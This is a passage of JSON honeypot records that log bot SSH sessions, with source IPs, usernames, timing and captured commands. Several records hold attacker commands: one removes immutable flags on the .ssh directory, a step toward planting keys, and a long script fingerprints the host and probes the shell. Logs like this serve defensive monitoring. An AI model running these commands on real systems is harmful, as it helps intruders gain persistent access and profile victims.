head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:26:58.939108+00:00",
  "ended_at": "2026-08-27T04:26:59.574316+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "c6e48fae-224a-4804-a8d3-afc7da71ef18",
  "name": "dutiful-smoky-nightjar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 42322,
  "username": "toor",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:26:52.468629+00:00",
  "ended_at": "2026-08-27T04:26:54.243867+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e2387de3-0998-4d7b-a724-c9d149d57ddf",
  "name": "lucid-prickly-roebuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 42306,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:26:49.866554+00:00",
  "ended_at": "2026-08-27T04:26:51.855852+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f481d93a-a18e-4bc4-9505-49c6d36c05ab",
  "name": "leafy-pleasant-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 58734,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 326,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:25:16.264465+00:00",
  "ended_at": "2026-08-27T04:25:17.694392+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2139
 },
 {
  "id": "6710736e-9b8e-4881-86c5-b7a02b6cf79b",
  "name": "meadow-thrifty-woodchuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 58766,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:25:01.087333+00:00",
  "ended_at": "2026-08-27T04:25:01.977913+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4fc7c7e2-bfc8-4913-8636-304975842047",
  "name": "prairie-grumpy-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 47554,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:24:59.536593+00:00",
  "ended_at": "2026-08-27T04:24:59.826844+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "cfbf1662-e4d3-43c7-a4bb-0254b3cc23b8",
  "name": "nimble-sooty-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 58750,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:24:59.092235+00:00",
  "ended_at": "2026-08-27T04:25:00.436574+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3b82f935-58b4-461b-8637-633ea35adf0f",
  "name": "faded-frank-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 40502,
  "username": "gmodserver",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:23:23.131226+00:00",
  "ended_at": "2026-08-27T04:23:24.387253+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2077
 },
 {
  "id": "40789549-9c5b-4f7d-a1cf-aa9ac563e2b9",
  "name": "rapid-umber-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 51192,
  "username": "gmodserver",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:23:06.497769+00:00",
  "ended_at": "2026-08-27T04:23:07.637012+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "726188f0-7f62-4480-bfa0-da3833367fc8",
  "name": "lonesome-dewy-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 40518,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:23:04.346417+00:00",
  "ended_at": "2026-08-27T04:23:05.844087+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0d42f6cd-ed45-4ec1-9bcf-162521a96664",
  "name": "plush-plucky-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 44586,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:22:56.399726+00:00",
  "ended_at": "2026-08-27T04:22:56.614404+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "221d8468-d0a0-4f2d-8126-e9513be867c6",
  "name": "kindly-forlorn-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 59978,
  "username": "code",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 319,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:21:16.854318+00:00",
  "ended_at": "2026-08-27T04:21:17.950029+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2066
 },
 {
  "id": "0cf353ab-e9f2-4311-a755-14aaf190dbe5",
  "name": "sandy-civil-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 49196,
  "username": "code",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:21:07.058032+00:00",
  "ended_at": "2026-08-27T04:21:07.743204+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f0934a6b-d8f6-4322-8370-ebf9636b66da",
  "name": "murky-craggy-wagtail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 59986,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:21:05.340853+00:00",
  "ended_at": "2026-08-27T04:21:06.398212+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "723e68a6-aa14-4b6e-b2c4-66eb059a85b1",
  "name": "dutiful-icy-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 41598,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:20:59.920863+00:00",
  "ended_at": "2026-08-27T04:21:00.097770+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "a1bab6d0-ccb3-46ea-bc7e-612c4bdb60c7",
  "name": "somber-balmy-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 33976,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 309,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:19:17.948751+00:00",
  "ended_at": "2026-08-27T04:19:18.567224+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2106
 },
 {
  "id": "402624da-f9dc-4241-9671-d596742788ab",
  "name": "arctic-loyal-oriole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 33998,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:19:10.187786+00:00",
  "ended_at": "2026-08-27T04:19:11.482471+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2ba7d529-1c87-4821-8104-7d980c1946ef",
  "name": "shifting-thawing-petrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 33990,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:19:08.206600+00:00",
  "ended_at": "2026-08-27T04:19:09.559198+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4401782a-2bf6-4fbb-b346-41a295add35d",
  "name": "craggy-thorny-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "59.36.78.66",
  "src_port": 41410,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:18:56.120892+00:00",
  "ended_at": "2026-08-27T04:18:57.221206+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0e2a1156-24ce-4e93-b835-fa05eb1902e5",
  "name": "cosmic-stormy-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "59.36.78.66",
  "src_port": 40146,
  "username": "ax",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:18:54.437040+00:00",
  "ended_at": "2026-08-27T04:22:54.945376+00:00",
  "ended_reason": "exec complete",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "bf6575f5-ba8f-4f3a-80b4-696dd9ad24af",
  "name": "scarlet-burly-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 38630,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho 